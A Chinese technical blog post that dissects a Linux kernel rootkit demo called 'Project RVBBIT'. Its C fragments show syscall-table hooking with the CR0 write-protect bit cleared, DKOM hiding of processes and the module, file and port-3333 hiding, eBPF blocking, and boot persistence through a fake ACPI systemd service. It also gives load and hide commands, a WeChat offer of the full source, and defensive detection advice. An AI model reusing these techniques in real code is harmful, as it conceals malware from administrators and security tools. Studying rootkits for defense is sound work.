当前位置:首页>Linux>内核里的"幽灵":一套Linux Rootkit隐身术完全拆解

内核里的"幽灵":一套Linux Rootkit隐身术完全拆解

  • 2026-10-11 07:30:54
内核里的"幽灵":一套Linux Rootkit隐身术完全拆解

很多人一听到Rootkit就觉得"这是黑客才需要学的东西"。其实不然——做防御的人,必须比攻击者更懂攻击。你只有知道恶意软件是怎么把自己藏进内核、怎么骗过系统管理员的眼睛,才能写出更有效的检测工具、制定更完善的防护策略。

今天我们要拆的这套代码叫 Project RVBBIT,是一个专门用于安全教育的Linux内核Rootkit演示项目。注意,作者已经把挖矿、蠕虫传播等真正危险的功能全部阉割掉了,留下的只有"隐身术"本身。这就像是把一把真枪的子弹卸了,只留下枪的结构供人研究——学的是原理,不是作恶。


一、RVBBIT到底在干嘛?一句话总结

想象这样一个场景:你是一名Linux系统管理员,某天服务器有点卡,你习惯性地敲下 ps aux 看进程、ls 看文件、netstat 看端口、lsmod 看加载了哪些内核模块。结果一切正常,什么都没有。但其实,内核里早就住进了一个"房客",它把自己的痕迹从所有这些命令的输出里抹掉了。

这就是RVBBIT演示的核心能力——**让恶意模块在系统中"物理存在,逻辑消失"**。


二、五大隐身术逐个拆解

技术1:系统调用劫持(Syscall Hooking)—— 篡改操作系统的"接线板"

大白话解释

Linux内核里有一张"大表格",叫系统调用表(System Call Table)。用户程序每次调用 kill()、open()、read() 这些函数,最终都会查这张表,找到内核里对应的真正实现函数,然后跳过去执行。

Rootkit的做法简单粗暴:把这张表里的某些条目,替换成自己写的假函数。这样一来,所有程序调用这些系统功能时,都会先经过Rootkit的"检查站"。Rootkit想让你看到什么,你就只能看到什么。

代码怎么实现的?

// 第一步:找到系统调用表的位置
sys_call_table = find_sys_call_table();

// 第二步:关闭写保护(否则内核内存不让改)
write_cr0(read_cr0() & ~0x10000);

// 第三步:备份原始指针,然后替换
orig_kill = (void *)sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = (unsignedlong *)hook_kill;

// 第四步:恢复写保护
write_cr0(read_cr0() | 0x10000);

这里有个关键知识点:write_cr0() 操作的是CPU的 CR0控制寄存器,其中第16位叫 WP位(Write Protect)。当这一位为1时,CPU会阻止对只读内存页的写入。内核代码段通常是被标记为只读的,所以Rootkit需要先清零这一位,改完系统调用表,再把它置回去。

知识点总结:

  • 系统调用表(System Call Table):内核中存放所有系统调用函数指针的数组,是用户空间进入内核空间的"大门"。
  • CR0寄存器/WP位:x86架构的内存保护机制,控制是否允许向只读页写入数据。
  • kallsyms:内核符号表,用于在运行时查找内核函数和变量的地址。RVBBIT通过 register_kprobe 来动态获取符号地址,避免硬编码地址导致的兼容性问题。

技术2:DKOM(Direct Kernel Object Manipulation)—— 直接从内核数据结构里"抠掉"记录

大白话解释

如果说系统调用劫持是"改地图",那DKOM就是"改户口册"。Linux内核内部用大量的双向链表来管理进程、模块、网络连接等对象。比如所有进程都挂在 task_struct 的 tasks 链表上,所有内核模块都挂在 module 的链表上。

Rootkit不需要阻止系统去查这些链表,它直接把自己从链表里删掉。链表断了环,遍历的时候就根本走不到Rootkit头上。这就好比你在公司花名册上把自己那页撕了,HR查名册时自然就看不到你。

代码怎么实现的?

隐藏进程:

staticvoidhide_process(int pid){
structtask_struct *task = pid_task(find_vpid(pid), PIDTYPE_PID);
if (task) {
        list_del(&task->tasks);      // 从全局进程链表中摘除
        list_del(&task->sibling);    // 从父进程的子进程链表中摘除
        task->pid_links[PIDTYPE_PID] = NULL;
    }
}

隐藏模块自身:

staticvoidhide_module(void){
    mutex_lock(&module_mutex);
    list_del(&__this_module.list);           // 从模块链表中摘除
    mutex_unlock(&module_mutex);
    kobject_del(&__this_module.mkobj.kobj);  // 从sysfs中删除kobject
strncpy(__this_module.name, "acpi", sizeof(__this_module.name) - 1); // 改名伪装
}

If you need the complete source code, please add the WeChat number (c17865354792)

知识点总结:

  • task_struct:Linux内核中描述进程的核心数据结构,包含了进程的所有状态和链接信息。
  • **list_del()**:Linux内核链表操作宏,用于将节点从双向链表中移除。注意它不会释放内存,只是断链。
  • kobject / sysfs:Linux的设备模型基础,kobject_del() 会从 /sys/module/ 目录下移除对应的条目,让 lsmod 等工具看不到。
  • PID命名空间(PID Namespace):find_vpid() 用于在PID命名空间中查找任务,现代容器化环境中尤为重要。

技术3:文件与端口隐藏 —— 在数据返回用户空间之前"动手脚"

大白话解释

系统调用劫持给了Rootkit一个绝佳的"中间商赚差价"的机会。它可以在内核把数据拷贝回用户空间之前,先把敏感信息过滤掉。

文件隐藏(hook_getdents64)

getdents64 是 ls 命令最终调用的系统调用,用于读取目录内容。Rootkit的钩子会遍历返回的目录项数组,把文件名包含特定前缀的条目整个删掉,然后把后面的条目往前挪,补上空洞。

static asmlinkage longhook_getdents64(const struct pt_regs *regs){
long ret = orig_getdents64(regs);  // 先调用原版,拿到真实数据
structlinux_dirent64 *dir = (structlinux_dirent64 *)regs->si;

while (offset < ret) {
        dir = (struct linux_dirent64 *)(regs->si + offset);
if (strstr(dir->d_name, hide_prefix) != NULL) {
// 发现了要隐藏的文件!把它从结果里抹掉
            ret -= dir->d_reclen;
            memmove(dir, (void *)dir + dir->d_reclen, ret - offset);
        } else {
            offset += dir->d_reclen;
        }
    }
return ret;  // 返回修改后的(变小的)数据量
}

端口隐藏(hook_tcp4_seq_show)

/proc/net/tcp 文件显示当前TCP连接,它是由内核的 tcp4_seq_show 函数生成的。RVBBIT直接篡改这个函数的指针,让它在打印到3333端口的连接时直接返回0(什么都不输出)。

staticinthook_tcp4_seq_show(struct seq_file *seq, void *v){
structsock *sk = v;
if (sk && sk->sk_num == 3333)
return0;  // 3333端口的连接?当没看见!
return orig_tcp4_seq_show(seq, v);  // 其他的正常显示
}

知识点总结:

  • linux_dirent64:目录项结构体,包含文件名、inode号、记录长度等信息。
  • memmove:用于在内存中移动数据块,这里用来"填补"被删除目录项留下的空洞。
  • seq_file:Linux内核中用于生成/proc和/sys文件内容的抽象接口,tcp4_seq_show 就是用它来格式化输出TCP连接信息的。

技术4:eBPF拦截 —— 阻止新一代检测工具

大白话解释

eBPF(Extended Berkeley Packet Filter)是Linux内核近几年最火的动态追踪技术。安全厂商可以用eBPF程序实时监控进程创建、文件访问、网络连接等事件。Rootkit当然不能坐视不管——它直接禁止任何eBPF程序加载。

static asmlinkage longhook_bpf(const struct pt_regs *regs){
int cmd = regs->di;
if (cmd == BPF_PROG_LOAD)
return -EPERM;  // 想加载eBPF程序?权限不足,拒绝!
return orig_bpf(regs);
}

知识点总结:

  • eBPF:一种在内核中运行沙箱化代码的机制,被广泛用于网络过滤、性能追踪和安全监控。
  • BPF_PROG_LOAD:加载eBPF程序的系统调用命令字。拦截这个命令,就等于关掉了所有eBPF工具的大门。
  • -EPERM:Linux错误码,表示"操作不被允许"。

技术5:持久化与伪装 —— 重启后还能"阴魂不散"

大白话解释

会隐身的刺客不可怕,可怕的是他还能自动复活。RVBBIT通过两条路径实现持久化:

  1. **/etc/modules-load.d/acpi.conf**:这是一个系统启动时自动加载内核模块的配置文件。Rootkit把自己的模块名写进去,并伪装成ACPI(电源管理)相关的模块。

  2. **/etc/systemd/system/rvbbit-helper.service**:创建一个systemd服务单元,同样打着"ACPI Helper"的旗号,每次开机都会执行 insmod 重新加载Rootkit。

staticvoidinstall_persistence(void){
// 写入 modules-load.d
    f = filp_open("/etc/modules-load.d/acpi.conf", O_CREAT | O_WRONLY | O_TRUNC, 0644);
    kernel_write(f, "rvbbit\n", strlen("rvbbit\n"), &f->f_pos);

// 创建 systemd 服务
    f = filp_open("/etc/systemd/system/rvbbit-helper.service", ...);
    kernel_write(f, service_data, strlen(service_data), &f->f_pos);

// 启用服务
char *argv_enable[] = { "/bin/systemctl", "enable", "rvbbit-helper.service", NULL };
    call_usermodehelper(argv_enable[0], argv_enable, NULL, UMH_WAIT_PROC);
}

知识点总结:

  • modules-load.d:systemd时代的内核模块自动加载机制,配置文件放在这里会在启动早期被加载。
  • call_usermodehelper:内核调用用户空间程序的接口,Rootkit用它来执行 systemctl enable 命令。
  • UMH_WAIT_PROC:表示内核会等待用户空间进程执行完毕。
  • 内核线程上下文:kernel_write 和 filp_open 是在内核线程中直接操作文件系统的API,绕过了用户空间的权限检查。

三、一张图看懂RVBBIT的完整工作流程

在这里插入图片描述

上图把整个Rootkit的生命周期分成了五个阶段:

阶段
做什么
对应的技术
初始化
生成随机前缀、查找系统调用表、关闭写保护
反静态分析、内存篡改
系统调用劫持
备份并替换4个系统调用
Syscall Hooking
DKOM操作
把自己从进程/模块/端口链表中摘除
直接内核对象操作
钩子生效
kill信号控制隐藏、getdents64过滤文件、openat阻止访问、bpf拦截eBPF
运行时过滤
持久化
写入modules-load.d和systemd服务
自启动+伪装

四、这些技术涉及了哪些知识领域?

把RVBBIT拆开来看,它几乎覆盖了Linux内核安全的核心战场:

1. 操作系统内核架构

  • 系统调用机制、中断处理、CPU特权级(Ring 0 vs Ring 3)
  • 内核内存布局、代码段/数据段保护、CR0控制寄存器

2. Linux内核数据结构

  • 进程管理:task_struct、pid_namespace、进程链表
  • 模块管理:struct module、kobject、sysfs文件系统
  • 网络栈:struct sock、seq_file、/proc/net/tcp 的生成机制

3. 内核编程与并发

  • 内核锁机制:mutex_lock/unlock(模块互斥锁)
  • 内核工作队列:workqueue_struct、delayed_work(用于定时任务)
  • 内存操作:kmalloc/kfree、memmove、strncpy_from_user

4. 安全攻防技术

  • Hook技术:系统调用表劫持、函数指针替换
  • DKOM:直接操作内核对象实现隐藏
  • Rootkit检测对抗:反eBPF、反静态签名(随机前缀)
  • 持久化技术:启动项植入、服务伪装

5. 硬件与架构知识

  • x86_64架构的CR0寄存器、WP位、内存分页保护
  • write_cr0() 内联汇编操作

6. 系统管理基础

  • systemd服务单元编写
  • modules-load.d机制
  • procfs/sysfs虚拟文件系统

五、怎么防?知己知彼才能百战不殆

了解完攻击手法,最后简单聊聊防御思路:

  1. 监控系统调用表完整性:通过只读内存映射或硬件辅助虚拟化(如Intel VT-x)保护系统调用表不被篡改。

  2. 交叉验证:不要只信一个信息源。ps 看不到的进程,可以用 auditd 审计日志、eBPF 追踪、/proc/[pid]/stat 直接读取来交叉验证。

  3. 内核完整性保护:启用 Secure Boot、IMA(Integrity Measurement Architecture)、Kernel Lockdown 模式,防止未签名模块加载。

  4. 检测DKOM:遍历进程时不仅看链表,还要检查PID哈希表(pid_hash),因为DKOM通常只删链表不删哈希表。

  5. 监控eBPF加载失败事件:如果系统频繁出现 BPF_PROG_LOAD 返回 -EPERM,这本身就是异常信号。

  6. 文件系统审计:对 /etc/modules-load.d/、/etc/systemd/system/ 等关键目录启用变更监控(如 aide、auditd、osquery)。


六、代码测试

# 1. 加载模块(此时模块会隐身)
sudo insmod rvbbit.ko

# 2. 验证隐身效果
lsmod | grep rvbbit      # 应该看不到(模块自隐藏了)
ps aux | grep rvbbit     # 应该看不到(进程隐藏)
ls /lib/modules/$(uname -r)/kernel/drivers/acpi/  # 看看有没有隐藏的文件

# 3. 触发隐藏/显示(通过kill信号)
sudo kill -64 <PID>      # 隐藏指定PID
sudo kill -63 <PID>      # 显示指定PID

# 4. 卸载模块(cleanup)
sudo rmmod rvbbit        # 或者用模块的真实名字,如果知道的话

总结

Project RVBBIT 是一个非常典型的现代 Linux Rootkit 样本。

它不像老式 Rootkit 那样粗暴地替换 ls 或 ps 命令(用户态 Rootkit),而是直接深入内核(Kernel态),修改系统最底层的逻辑。它让真相在诞生之初就被扼杀,你看到的“干净”系统,其实早已被它控制。

防御建议: 这种级别的攻击,普通的杀毒软件很难防。通常需要通过内核完整性检查(如 IMA/EVM)、基于硬件的验证(如 TPM) 或者 双系统比对 才能发现端倪。

Welcome to follow WeChat official account【程序猿编码】

最新文章

随机文章